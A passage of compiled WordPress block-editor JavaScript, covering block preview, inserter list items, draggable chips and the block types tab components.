40717 overflow: "hidden"
40718 },
40719 dangerouslySetInnerHTML: { __html: transformedSvgs }
40720 }
40721 )
40722 ] });
40723}
40724var editor_styles_default = (0,external_wp_element_namespaceObject.memo)(EditorStyles);
40725
40726
40727;// ./node_modules/@wordpress/block-editor/build-module/components/block-preview/auto.js
40728
40729
40730
40731
40732
40733
40734
40735
40736
40737const MemoizedBlockList = (0,external_wp_element_namespaceObject.memo)(BlockList);
40738const MAX_HEIGHT = 2e3;
40739const EMPTY_ADDITIONAL_STYLES = [];
40740function ScaledBlockPreview({
40741 viewportWidth,
40742 containerWidth,
40743 minHeight,
40744 additionalStyles = EMPTY_ADDITIONAL_STYLES
40745}) {
40746 if (!viewportWidth) {
40747 viewportWidth = containerWidth;
40748 }
40749 const [contentResizeListener, { height: contentHeight }] = (0,external_wp_compose_namespaceObject.useResizeObserver)();
40750 const { styles } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
40751 const settings = select(store).getSettings();
40752 return {
40753 styles: settings.styles
40754 };
40755 }, []);
40756 const editorStyles = (0,external_wp_element_namespaceObject.useMemo)(() => {
40757 if (styles) {
40758 return [
40759 ...styles,
40760 {
40761 css: "body{height:auto;overflow:hidden;border:none;padding:0;}",
40762 __unstableType: "presets"
40763 },
40764 ...additionalStyles
40765 ];
40766 }
40767 return styles;
40768 }, [styles, additionalStyles]);
40769 const scale = containerWidth / viewportWidth;
40770 const aspectRatio = contentHeight ? containerWidth / (contentHeight * scale) : 0;
40771 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40772 external_wp_components_namespaceObject.Disabled,
40773 {
40774 className: "block-editor-block-preview__content",
40775 style: {
40776 transform: `scale(${scale})`,
40777 // Using width + aspect-ratio instead of height here triggers browsers' native
40778 // handling of scrollbar's visibility. It prevents the flickering issue seen
40779 // in https://github.com/WordPress/gutenberg/issues/52027.
40780 // See https://github.com/WordPress/gutenberg/pull/52921 for more info.
40781 aspectRatio,
40782 maxHeight: contentHeight > MAX_HEIGHT ? MAX_HEIGHT * scale : void 0,
40783 minHeight
40784 },
40785 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
40786 iframe_default,
40787 {
40788 contentRef: (0,external_wp_compose_namespaceObject.useRefEffect)((bodyElement) => {
40789 const {
40790 ownerDocument: { documentElement }
40791 } = bodyElement;
40792 documentElement.classList.add(
40793 "block-editor-block-preview__content-iframe"
40794 );
40795 documentElement.style.position = "absolute";
40796 documentElement.style.width = "100%";
40797 bodyElement.style.boxSizing = "border-box";
40798 bodyElement.style.position = "absolute";
40799 bodyElement.style.width = "100%";
40800 }, []),
40801 "aria-hidden": true,
40802 tabIndex: -1,
40803 style: {
40804 position: "absolute",
40805 width: viewportWidth,
40806 height: contentHeight,
40807 pointerEvents: "none",
40808 // This is a catch-all max-height for patterns.
40809 // See: https://github.com/WordPress/gutenberg/pull/38175.
40810 maxHeight: MAX_HEIGHT,
40811 minHeight: scale !== 0 && scale < 1 && minHeight ? minHeight / scale : minHeight
40812 },
40813 children: [
40814 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(editor_styles_default, { styles: editorStyles }),
40815 contentResizeListener,
40816 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MemoizedBlockList, { renderAppender: false })
40817 ]
40818 }
40819 )
40820 }
40821 );
40822}
40823function AutoBlockPreview(props) {
40824 const [containerResizeListener, { width: containerWidth }] = (0,external_wp_compose_namespaceObject.useResizeObserver)();
40825 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
40826 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { style: { position: "relative", width: "100%", height: 0 }, children: containerResizeListener }),
40827 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-block-preview__container", children: !!containerWidth && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40828 ScaledBlockPreview,
40829 {
40830 ...props,
40831 containerWidth
40832 }
40833 ) })
40834 ] });
40835}
40836
40837
40838;// external ["wp","priorityQueue"]
40839const external_wp_priorityQueue_namespaceObject = window["wp"]["priorityQueue"];
40840;// ./node_modules/@wordpress/block-editor/build-module/components/block-preview/async.js
40841
40842
40843const blockPreviewQueue = (0,external_wp_priorityQueue_namespaceObject.createQueue)();
40844function Async({ children, placeholder }) {
40845 const [shouldRender, setShouldRender] = (0,external_wp_element_namespaceObject.useState)(false);
40846 (0,external_wp_element_namespaceObject.useEffect)(() => {
40847 const context = {};
40848 blockPreviewQueue.add(context, () => {
40849 (0,external_wp_element_namespaceObject.flushSync)(() => {
40850 setShouldRender(true);
40851 });
40852 });
40853 return () => {
40854 blockPreviewQueue.cancel(context);
40855 };
40856 }, []);
40857 if (!shouldRender) {
40858 return placeholder;
40859 }
40860 return children;
40861}
40862
40863
40864;// ./node_modules/@wordpress/block-editor/build-module/components/block-preview/index.js
40865
40866
40867
40868
40869
40870
40871
40872
40873
40874
40875
40876
40877const block_preview_EMPTY_ADDITIONAL_STYLES = [];
40878function BlockPreview({
40879 blocks,
40880 viewportWidth = 1200,
40881 minHeight,
40882 additionalStyles = block_preview_EMPTY_ADDITIONAL_STYLES,
40883 // Deprecated props:
40884 __experimentalMinHeight,
40885 __experimentalPadding
40886}) {
40887 if (__experimentalMinHeight) {
40888 minHeight = __experimentalMinHeight;
40889 external_wp_deprecated_default()("The __experimentalMinHeight prop", {
40890 since: "6.2",
40891 version: "6.4",
40892 alternative: "minHeight"
40893 });
40894 }
40895 if (__experimentalPadding) {
40896 additionalStyles = [
40897 ...additionalStyles,
40898 { css: `body { padding: ${__experimentalPadding}px; }` }
40899 ];
40900 external_wp_deprecated_default()("The __experimentalPadding prop of BlockPreview", {
40901 since: "6.2",
40902 version: "6.4",
40903 alternative: "additionalStyles"
40904 });
40905 }
40906 const originalSettings = (0,external_wp_data_namespaceObject.useSelect)(
40907 (select) => select(store).getSettings(),
40908 []
40909 );
40910 const settings = (0,external_wp_element_namespaceObject.useMemo)(
40911 () => ({
40912 ...originalSettings,
40913 focusMode: false,
40914 // Disable "Spotlight mode".
40915 isPreviewMode: true
40916 }),
40917 [originalSettings]
40918 );
40919 const renderedBlocks = (0,external_wp_element_namespaceObject.useMemo)(
40920 () => Array.isArray(blocks) ? blocks : [blocks],
40921 [blocks]
40922 );
40923 if (!blocks || blocks.length === 0) {
40924 return null;
40925 }
40926 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40927 ExperimentalBlockEditorProvider,
40928 {
40929 value: renderedBlocks,
40930 settings,
40931 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40932 AutoBlockPreview,
40933 {
40934 viewportWidth,
40935 minHeight,
40936 additionalStyles
40937 }
40938 )
40939 }
40940 );
40941}
40942const MemoizedBlockPreview = (0,external_wp_element_namespaceObject.memo)(BlockPreview);
40943MemoizedBlockPreview.Async = Async;
40944var block_preview_default = MemoizedBlockPreview;
40945function useBlockPreview({ blocks, props = {}, layout }) {
40946 const originalSettings = (0,external_wp_data_namespaceObject.useSelect)(
40947 (select) => select(store).getSettings(),
40948 []
40949 );
40950 const settings = (0,external_wp_element_namespaceObject.useMemo)(
40951 () => ({
40952 ...originalSettings,
40953 styles: void 0,
40954 // Clear styles included by the parent settings, as they are already output by the parent's EditorStyles.
40955 focusMode: false,
40956 // Disable "Spotlight mode".
40957 isPreviewMode: true
40958 }),
40959 [originalSettings]
40960 );
40961 const disabledRef = (0,external_wp_compose_namespaceObject.useDisabled)();
40962 const ref = (0,external_wp_compose_namespaceObject.useMergeRefs)([props.ref, disabledRef]);
40963 const renderedBlocks = (0,external_wp_element_namespaceObject.useMemo)(
40964 () => Array.isArray(blocks) ? blocks : [blocks],
40965 [blocks]
40966 );
40967 const children = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
40968 ExperimentalBlockEditorProvider,
40969 {
40970 value: renderedBlocks,
40971 settings,
40972 children: [
40973 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(editor_styles_default, {}),
40974 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockListItems, { renderAppender: false, layout })
40975 ]
40976 }
40977 );
40978 return {
40979 ...props,
40980 ref,
40981 className: dist_clsx(
40982 props.className,
40983 "block-editor-block-preview__live-content",
40984 "components-disabled"
40985 ),
40986 children: blocks?.length ? children : null
40987 };
40988}
40989
40990
40991;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/preview-panel.js
40992
40993
40994
40995
40996
40997
40998function InserterPreviewPanel({ item }) {
40999 const { name, title, icon, description, initialAttributes, example } = item;
41000 const isReusable = (0,external_wp_blocks_namespaceObject.isReusableBlock)(item);
41001 const blocks = (0,external_wp_element_namespaceObject.useMemo)(() => {
41002 if (!example) {
41003 return (0,external_wp_blocks_namespaceObject.createBlock)(name, initialAttributes);
41004 }
41005 return (0,external_wp_blocks_namespaceObject.getBlockFromExample)(name, {
41006 attributes: {
41007 ...example.attributes,
41008 ...initialAttributes
41009 },
41010 innerBlocks: example.innerBlocks
41011 });
41012 }, [name, example, initialAttributes]);
41013 const previewHeight = 144;
41014 const sidebarWidth = 280;
41015 const viewportWidth = example?.viewportWidth ?? 500;
41016 const scale = sidebarWidth / viewportWidth;
41017 const minHeight = scale !== 0 && scale < 1 && previewHeight ? previewHeight / scale : previewHeight;
41018 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-inserter__preview-container", children: [
41019 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inserter__preview", children: isReusable || example ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inserter__preview-content", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41020 block_preview_default,
41021 {
41022 blocks,
41023 viewportWidth,
41024 minHeight: previewHeight,
41025 additionalStyles: (
41026 //We want this CSS to be in sync with the one in BlockPreviewPanel.
41027 [
41028 {
41029 css: `
41030 body {
41031 padding: 24px;
41032 min-height:${Math.round(minHeight)}px;
41033 display:flex;
41034 align-items:center;
41035 }
41036 .is-root-container { width: 100%; }
41037 `
41038 }
41039 ]
41040 )
41041 }
41042 ) }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inserter__preview-content-missing", children: (0,external_wp_i18n_namespaceObject.__)("No preview available.") }) }),
41043 !isReusable && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41044 block_card_default,
41045 {
41046 title,
41047 icon,
41048 description
41049 }
41050 )
41051 ] });
41052}
41053var preview_panel_default = InserterPreviewPanel;
41054
41055
41056;// ./node_modules/@wordpress/block-editor/build-module/components/inserter-listbox/item.js
41057
41058
41059
41060function InserterListboxItem({ isFirst, as: Component, children, ...props }, ref) {
41061 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41062 external_wp_components_namespaceObject.Composite.Item,
41063 {
41064 ref,
41065 role: "option",
41066 accessibleWhenDisabled: true,
41067 ...props,
41068 render: (htmlProps) => {
41069 const propsWithTabIndex = {
41070 ...htmlProps,
41071 tabIndex: isFirst ? 0 : htmlProps.tabIndex
41072 };
41073 if (Component) {
41074 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Component, { ...propsWithTabIndex, children });
41075 }
41076 if (typeof children === "function") {
41077 return children(propsWithTabIndex);
41078 }
41079 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { __next40pxDefaultSize: true, ...propsWithTabIndex, children });
41080 }
41081 }
41082 );
41083}
41084var item_default = (0,external_wp_element_namespaceObject.forwardRef)(InserterListboxItem);
41085
41086
41087;// ./node_modules/@wordpress/icons/build-module/library/drag-handle.js
41088
41089
41090var drag_handle_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M8 7h2V5H8v2zm0 6h2v-2H8v2zm0 6h2v-2H8v2zm6-14v2h2V5h-2zm0 8h2v-2h-2v2zm0 6h2v-2h-2v2z" }) });
41091
41092
41093;// ./node_modules/@wordpress/block-editor/build-module/components/block-draggable/draggable-chip.js
41094
41095
41096
41097
41098
41099function BlockDraggableChip({
41100 count,
41101 icon,
41102 isPattern,
41103 fadeWhenDisabled
41104}) {
41105 const patternLabel = isPattern && (0,external_wp_i18n_namespaceObject.__)("Pattern");
41106 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-block-draggable-chip-wrapper", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41107 "div",
41108 {
41109 className: "block-editor-block-draggable-chip",
41110 "data-testid": "block-draggable-chip",
41111 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
41112 external_wp_components_namespaceObject.Flex,
41113 {
41114 justify: "center",
41115 className: "block-editor-block-draggable-chip__content",
41116 children: [
41117 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: icon ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_icon_default, { icon }) : patternLabel || (0,external_wp_i18n_namespaceObject.sprintf)(
41118 /* translators: %d: Number of blocks. */
41119 (0,external_wp_i18n_namespaceObject._n)("%d block", "%d blocks", count),
41120 count
41121 ) }),
41122 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_icon_default, { icon: drag_handle_default }) }),
41123 fadeWhenDisabled && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { className: "block-editor-block-draggable-chip__disabled", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-editor-block-draggable-chip__disabled-icon" }) })
41124 ]
41125 }
41126 )
41127 }
41128 ) });
41129}
41130
41131
41132;// ./node_modules/@wordpress/block-editor/build-module/components/inserter-draggable-blocks/index.js
41133
41134
41135
41136
41137
41138
41139
41140
41141
41142const InserterDraggableBlocks = ({
41143 isEnabled,
41144 blocks,
41145 icon,
41146 children,
41147 pattern
41148}) => {
41149 const blockTypeIcon = (0,external_wp_data_namespaceObject.useSelect)(
41150 (select) => {
41151 const { getBlockType } = select(external_wp_blocks_namespaceObject.store);
41152 return blocks.length === 1 && getBlockType(blocks[0].name)?.icon;
41153 },
41154 [blocks]
41155 );
41156 const { startDragging, stopDragging } = unlock(
41157 (0,external_wp_data_namespaceObject.useDispatch)(store)
41158 );
41159 const patternBlock = (0,external_wp_element_namespaceObject.useMemo)(() => {
41160 return pattern?.type === INSERTER_PATTERN_TYPES.user && pattern?.syncStatus !== "unsynced" ? [(0,external_wp_blocks_namespaceObject.createBlock)("core/block", { ref: pattern.id })] : void 0;
41161 }, [pattern?.type, pattern?.syncStatus, pattern?.id]);
41162 if (!isEnabled) {
41163 return children({
41164 draggable: false,
41165 onDragStart: void 0,
41166 onDragEnd: void 0
41167 });
41168 }
41169 const draggableBlocks = patternBlock ?? blocks;
41170 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41171 external_wp_components_namespaceObject.Draggable,
41172 {
41173 __experimentalTransferDataType: "wp-blocks",
41174 transferData: { type: "inserter", blocks: draggableBlocks },
41175 onDragStart: (event) => {
41176 startDragging();
41177 for (const block of draggableBlocks) {
41178 const type = `wp-block:${block.name}`;
41179 event.dataTransfer.items.add("", type);
41180 }
41181 },
41182 onDragEnd: () => {
41183 stopDragging();
41184 },
41185 __experimentalDragComponent: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41186 BlockDraggableChip,
41187 {
41188 count: blocks.length,
41189 icon: icon || !pattern && blockTypeIcon,
41190 isPattern: !!pattern
41191 }
41192 ),
41193 children: ({ onDraggableStart, onDraggableEnd }) => {
41194 return children({
41195 draggable: true,
41196 onDragStart: onDraggableStart,
41197 onDragEnd: onDraggableEnd
41198 });
41199 }
41200 }
41201 );
41202};
41203var inserter_draggable_blocks_default = InserterDraggableBlocks;
41204
41205
41206;// ./node_modules/@wordpress/block-editor/build-module/components/inserter-list-item/index.js
41207
41208
41209
41210
41211
41212
41213
41214
41215
41216function InserterListItem({
41217 className,
41218 isFirst,
41219 item,
41220 onSelect,
41221 onHover,
41222 isDraggable,
41223 ...props
41224}) {
41225 const isDraggingRef = (0,external_wp_element_namespaceObject.useRef)(false);
41226 const itemIconStyle = item.icon ? {
41227 backgroundColor: item.icon.background,
41228 color: item.icon.foreground
41229 } : {};
41230 const blocks = (0,external_wp_element_namespaceObject.useMemo)(
41231 () => [
41232 (0,external_wp_blocks_namespaceObject.createBlock)(
41233 item.name,
41234 item.initialAttributes,
41235 (0,external_wp_blocks_namespaceObject.createBlocksFromInnerBlocksTemplate)(item.innerBlocks)
41236 )
41237 ],
41238 [item.name, item.initialAttributes, item.innerBlocks]
41239 );
41240 const isSynced = (0,external_wp_blocks_namespaceObject.isReusableBlock)(item) && item.syncStatus !== "unsynced" || (0,external_wp_blocks_namespaceObject.isTemplatePart)(item);
41241 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41242 inserter_draggable_blocks_default,
41243 {
41244 isEnabled: isDraggable && !item.isDisabled,
41245 blocks,
41246 icon: item.icon,
41247 children: ({ draggable, onDragStart, onDragEnd }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41248 "div",
41249 {
41250 className: dist_clsx(
41251 "block-editor-block-types-list__list-item",
41252 {
41253 "is-synced": isSynced
41254 }
41255 ),
41256 draggable,
41257 onDragStart: (event) => {
41258 isDraggingRef.current = true;
41259 if (onDragStart) {
41260 onHover(null);
41261 onDragStart(event);
41262 }
41263 },
41264 onDragEnd: (event) => {
41265 isDraggingRef.current = false;
41266 if (onDragEnd) {
41267 onDragEnd(event);
41268 }
41269 },
41270 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
41271 item_default,
41272 {
41273 isFirst,
41274 className: dist_clsx(
41275 "block-editor-block-types-list__item",
41276 className
41277 ),
41278 disabled: item.isDisabled,
41279 onClick: (event) => {
41280 event.preventDefault();
41281 onSelect(
41282 item,
41283 (0,external_wp_keycodes_namespaceObject.isAppleOS)() ? event.metaKey : event.ctrlKey
41284 );
41285 onHover(null);
41286 },
41287 onKeyDown: (event) => {
41288 const { keyCode } = event;
41289 if (keyCode === external_wp_keycodes_namespaceObject.ENTER) {
41290 event.preventDefault();
41291 onSelect(
41292 item,
41293 (0,external_wp_keycodes_namespaceObject.isAppleOS)() ? event.metaKey : event.ctrlKey
41294 );
41295 onHover(null);
41296 }
41297 },
41298 onMouseEnter: () => {
41299 if (isDraggingRef.current) {
41300 return;
41301 }
41302 onHover(item);
41303 },
41304 onMouseLeave: () => onHover(null),
41305 ...props,
41306 children: [
41307 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41308 "span",
41309 {
41310 className: "block-editor-block-types-list__item-icon",
41311 style: itemIconStyle,
41312 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_icon_default, { icon: item.icon, showColors: true })
41313 }
41314 ),
41315 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-editor-block-types-list__item-title", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalTruncate, { numberOfLines: 3, children: item.title }) })
41316 ]
41317 }
41318 )
41319 }
41320 )
41321 }
41322 );
41323}
41324var inserter_list_item_default = (0,external_wp_element_namespaceObject.memo)(InserterListItem);
41325
41326
41327;// ./node_modules/@wordpress/block-editor/build-module/components/inserter-listbox/group.js
41328
41329
41330
41331
41332function InserterListboxGroup(props, ref) {
41333 const [shouldSpeak, setShouldSpeak] = (0,external_wp_element_namespaceObject.useState)(false);
41334 (0,external_wp_element_namespaceObject.useEffect)(() => {
41335 if (shouldSpeak) {
41336 (0,external_wp_a11y_namespaceObject.speak)(
41337 (0,external_wp_i18n_namespaceObject.__)("Use left and right arrow keys to move through blocks")
41338 );
41339 }
41340 }, [shouldSpeak]);
41341 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41342 "div",
41343 {
41344 ref,
41345 role: "listbox",
41346 "aria-orientation": "horizontal",
41347 onFocus: () => {
41348 setShouldSpeak(true);
41349 },
41350 onBlur: (event) => {
41351 const focusingOutsideGroup = !event.currentTarget.contains(
41352 event.relatedTarget
41353 );
41354 if (focusingOutsideGroup) {
41355 setShouldSpeak(false);
41356 }
41357 },
41358 ...props
41359 }
41360 );
41361}
41362var group_default = (0,external_wp_element_namespaceObject.forwardRef)(InserterListboxGroup);
41363
41364
41365;// ./node_modules/@wordpress/block-editor/build-module/components/inserter-listbox/row.js
41366
41367
41368
41369function InserterListboxRow(props, ref) {
41370 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite.Group, { role: "presentation", ref, ...props });
41371}
41372var row_default = (0,external_wp_element_namespaceObject.forwardRef)(InserterListboxRow);
41373
41374
41375;// ./node_modules/@wordpress/block-editor/build-module/components/block-types-list/index.js
41376
41377
41378
41379
41380
41381function chunk(array, size) {
41382 const chunks = [];
41383 for (let i = 0, j = array.length; i < j; i += size) {
41384 chunks.push(array.slice(i, i + size));
41385 }
41386 return chunks;
41387}
41388function BlockTypesList({
41389 items = [],
41390 onSelect,
41391 onHover = () => {
41392 },
41393 children,
41394 label,
41395 isDraggable = true
41396}) {
41397 const className = "block-editor-block-types-list";
41398 const listId = (0,external_wp_compose_namespaceObject.useInstanceId)(BlockTypesList, className);
41399 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(group_default, { className, "aria-label": label, children: [
41400 chunk(items, 3).map((row, i) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(row_default, { children: row.map((item, j) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41401 inserter_list_item_default,
41402 {
41403 item,
41404 className: (0,external_wp_blocks_namespaceObject.getBlockMenuDefaultClassName)(
41405 item.id
41406 ),
41407 onSelect,
41408 onHover,
41409 isDraggable: isDraggable && !item.isDisabled,
41410 isFirst: i === 0 && j === 0,
41411 rowId: `${listId}-${i}`
41412 },
41413 item.id
41414 )) }, i)),
41415 children
41416 ] });
41417}
41418var block_types_list_default = BlockTypesList;
41419
41420
41421;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/panel.js
41422
41423
41424function InserterPanel({ title, icon, children }) {
41425 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
41426 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-inserter__panel-header", children: [
41427 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", { className: "block-editor-inserter__panel-title", children: title }),
41428 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { icon })
41429 ] }),
41430 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inserter__panel-content", children })
41431 ] });
41432}
41433var panel_default = InserterPanel;
41434
41435
41436;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/hooks/use-block-types-state.js
41437
41438
41439
41440
41441
41442
41443
41444
41445const useBlockTypesState = (rootClientId, onInsert, isQuick) => {
41446 const options = (0,external_wp_element_namespaceObject.useMemo)(
41447 () => ({ [isFiltered]: !!isQuick }),
41448 [isQuick]
41449 );
41450 const [items] = (0,external_wp_data_namespaceObject.useSelect)(
41451 (select) => [
41452 select(store).getInserterItems(
41453 rootClientId,
41454 options
41455 )
41456 ],
41457 [rootClientId, options]
41458 );
41459 const { getClosestAllowedInsertionPoint } = unlock(
41460 (0,external_wp_data_namespaceObject.useSelect)(store)
41461 );
41462 const { createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
41463 const [categories, collections] = (0,external_wp_data_namespaceObject.useSelect)((select) => {
41464 const { getCategories, getCollections } = select(external_wp_blocks_namespaceObject.store);
41465 return [getCategories(), getCollections()];
41466 }, []);
41467 const onSelectItem = (0,external_wp_element_namespaceObject.useCallback)(
41468 ({ name, initialAttributes, innerBlocks, syncStatus, content }, shouldFocusBlock) => {
41469 const destinationClientId = getClosestAllowedInsertionPoint(
41470 name,
41471 rootClientId
41472 );
41473 if (destinationClientId === null) {
41474 const title = (0,external_wp_blocks_namespaceObject.getBlockType)(name)?.title ?? name;
41475 createErrorNotice(
41476 (0,external_wp_i18n_namespaceObject.sprintf)(
41477 /* translators: %s: block pattern title. */
41478 (0,external_wp_i18n_namespaceObject.__)(`Block "%s" can't be inserted.`),
41479 title
41480 ),
41481 {
41482 type: "snackbar",
41483 id: "inserter-notice"
41484 }
41485 );
41486 return;
41487 }
41488 const insertedBlock = syncStatus === "unsynced" ? (0,external_wp_blocks_namespaceObject.parse)(content, {
41489 __unstableSkipMigrationLogs: true
41490 }) : (0,external_wp_blocks_namespaceObject.createBlock)(
41491 name,
41492 initialAttributes,
41493 (0,external_wp_blocks_namespaceObject.createBlocksFromInnerBlocksTemplate)(innerBlocks)
41494 );
41495 onInsert(
41496 insertedBlock,
41497 void 0,
41498 shouldFocusBlock,
41499 destinationClientId
41500 );
41501 },
41502 [
41503 getClosestAllowedInsertionPoint,
41504 rootClientId,
41505 onInsert,
41506 createErrorNotice
41507 ]
41508 );
41509 return [items, categories, collections, onSelectItem];
41510};
41511var use_block_types_state_default = useBlockTypesState;
41512
41513
41514;// ./node_modules/@wordpress/block-editor/build-module/components/inserter-listbox/index.js
41515
41516
41517
41518
41519
41520
41521function InserterListBoxWrapper({ key, children }) {
41522 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.Fragment, { children }, key);
41523}
41524function InserterListbox({ children }) {
41525 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41526 external_wp_components_namespaceObject.Composite,
41527 {
41528 focusShift: true,
41529 focusWrap: "horizontal",
41530 render: InserterListBoxWrapper,
41531 children
41532 }
41533 );
41534}
41535var inserter_listbox_default = InserterListbox;
41536
41537
41538;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/no-results.js
41539
41540
41541function InserterNoResults() {
41542 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inserter__no-results", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)("No results found.") }) });
41543}
41544var no_results_default = InserterNoResults;
41545
41546
41547;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/block-types-tab.js
41548
41549
41550
41551
41552
41553
41554
41555
41556
41557
41558const getBlockNamespace = (item) => item.name.split("/")[0];
41559const MAX_SUGGESTED_ITEMS = 6;
41560const block_types_tab_EMPTY_ARRAY = [];
41561function BlockTypesTabPanel({
41562 items,
41563 collections,
41564 categories,
41565 onSelectItem,
41566 onHover,
41567 showMostUsedBlocks,
41568 className
41569}) {
41570 const suggestedItems = (0,external_wp_element_namespaceObject.useMemo)(() => {
41571 return orderBy(items, "frecency", "desc").slice(
41572 0,
41573 MAX_SUGGESTED_ITEMS
41574 );
41575 }, [items]);
41576 const uncategorizedItems = (0,external_wp_element_namespaceObject.useMemo)(() => {
41577 return items.filter((item) => !item.category);
41578 }, [items]);
41579 const itemsPerCollection = (0,external_wp_element_namespaceObject.useMemo)(() => {
41580 const result = { ...collections };
41581 Object.keys(collections).forEach((namespace) => {
41582 result[namespace] = items.filter(
41583 (item) => getBlockNamespace(item) === namespace
41584 );
41585 if (result[namespace].length === 0) {
41586 delete result[namespace];
41587 }
41588 });
41589 return result;
41590 }, [items, collections]);
41591 (0,external_wp_element_namespaceObject.useEffect)(() => () => onHover(null), []);
41592 const currentlyRenderedCategories = (0,external_wp_compose_namespaceObject.useAsyncList)(categories);
41593 const didRenderAllCategories = categories.length === currentlyRenderedCategories.length;
41594 const collectionEntries = (0,external_wp_element_namespaceObject.useMemo)(() => {
41595 return Object.entries(collections);
41596 }, [collections]);
41597 const currentlyRenderedCollections = (0,external_wp_compose_namespaceObject.useAsyncList)(
41598 didRenderAllCategories ? collectionEntries : block_types_tab_EMPTY_ARRAY
41599 );
41600 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className, children: [
41601 showMostUsedBlocks && // Only show the most used blocks if the total amount of block
41602 // is larger than 1 row, otherwise it is not so useful.
